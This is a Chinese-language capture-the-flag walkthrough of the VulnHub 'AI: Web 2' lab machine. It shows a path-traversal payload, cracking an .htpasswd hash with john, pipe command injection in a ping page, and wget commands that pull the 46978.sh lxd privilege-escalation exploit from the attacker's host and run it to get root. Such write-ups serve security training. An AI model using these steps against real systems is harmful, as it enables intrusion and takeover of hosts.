安装:
靶机地址: https://www.vulnhub.com/entry/ai-web-2,357/
信息收集
arp-scan -l
nmap -A 192.168.160.149
开放端口22和80,服务器是Apache
dirsearch -u "192.168.160.149:80"
打开是一个登录页面
告诉了我们作者是XuezhuLi
注册用户admin,然后登录
提示欢迎来到XuezhuLi的文件分享
/webadmin打开需要我们登录
其他没什么可利用的了,于是根据提示去找找XuezhuLi的文件分享
可以去github,漏洞分享网站,或者是再kali用searchsploit命令
都可以找到这样一个目录遍历漏洞
/download.php?file_name=../../../../../../../../../../../../../etc/passwd
漏洞攻击
用bp去试一下
确实存在这个漏洞
还可以看到有两个用户
因为服务器是apache
所以读取一下/etc/apache2/.htpasswd(apache用来验证用户身份的文件)
给了一个用户名和密码
但是密码被加密了
想办法解密
使用john工具
这是一款密码破解工具,在已知密文的情况下去尝试破解出明文,主要目的是破解不够牢固的unix、Linux系统密码
先去github上下载rockyou-45字典
下载地址:https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou-45.txt
放到kali里,然后在同一目录新建一个111.txt,把刚刚获得的密文放进去(账号密码都放进去)
john --wordlist=rockyou-45.txt 111.txt
得到了账号和密码
账号: aiweb2admin
密码: c.ronaldo (竟然是c罗)
试一下连ssh,发现连不上
想起刚刚有个需要密码的登录页面/webadmin
成功登录,提示robots(太熟悉了)
访问一下/webadmin/robots.txt
/S0mextras下提示我们这里有信息
但我们不知道文件命令,暂时利用不了这里
看看另外一个
/H05Tpin9555/下是一个ping页面
ping命令还是很熟悉的
简单测试下就发现可以用管道符|来执行命令
一开始发现不了什么,反弹shell也弹不了,应该是有过滤
但想起刚刚/S0mextras/下还有其他信息
于是在这里用find命令查一下
|| find . -type f /var/www/html/webadmin/S0mextras
可以看到有个/.sshUserCred55512.txt
访问
得到一个用户名和密码
ssh连接
ssh n0nr00tuser@192.168.160.149
连接成功
接下来就是提取了
lxd提权
可以看到刚刚试了下id命令发现有个特殊的lxd组,应该可以利用
从根目录查找具有root权限的二进制文件
find / -perm -u=s -type f 2>/dev/null
可以看到这里有lxc
所以就是利用lxc和lxd进行提取
LXC简介:
Linux 容器(Linux Containers,简称为 LXC)是一种操作系统级虚拟化技术,用于在单个 Linux 系统上运行多个独立的容器。每个容器都是一个轻量级的独立环境,拥有自己的文件系统、进程空间、网络空间等资源,但它们与宿主系统共享操作系统内核。这种共享使得容器比传统虚拟机更为轻量级和高效。
LXD简介:
Linux Daemon(LXD)是一个轻量级容器管理程序,LXD是基于LXC 容器技术Q实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了RESTAPI支持,更进一步地提升了用户体验度。
利用lxd生成一个最新的alpine镜像
先在kali上生成镜像压缩包
命令:
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
这样就建好了,可以ls看一下
不晓得为啥有两个,用3.20吧,感觉版本高点应该会好点
所以已经得到了alpine-v3.13-x86_64-20210218_0139.tar.gz
还需要一个脚本
可以用searchsploit linux 18.04查到(linux版本可以在靶机里用cat /etc/os-release命令看到)
可以看到有个’lxd’权限提升的46978.sh脚本
把它复制到/var/www/html下(为了待会方便下载到靶机里)
cp /usr/share/exploitdb/exploits/linux/local/46978.sh /var/www/html
searchsploit查出来的文件一般都在/usr/share/exploitdb/exploits+所给路径
还有把刚刚得到的alpine-v3.13-x86_64-20210218_0139.tar.gz也复制到/var/www/html里
然后在/var/www/html下开一个临时http服务器,用于给靶机下载文件
python3 -m http.server 8848
在靶机里下载刚刚的那两个文件
wget http://192.168.160.133:8848/alpine-v3.20-x86_64-20240727_1625.tar.gz
wget http://192.168.160.133:8848/46978.sh
提升一下这两个文件的权限
chmod 777 46978.sh
chmod 777 alpine-v3.20-x86_64-20240727_1625.tar.gz
接下来就是执行脚本提取了
./46978.sh -f alpine-v3.20-x86_64-20240727_1625.tar.gz
看一下id
应该是root
接下来就是查找flag位置然后读取
find / -name flag*
cat /mnt/root/root/flag.txt
到这就打完了
总结:
对于这个lxd提权还是没有完全搞懂,其他地方都差不多了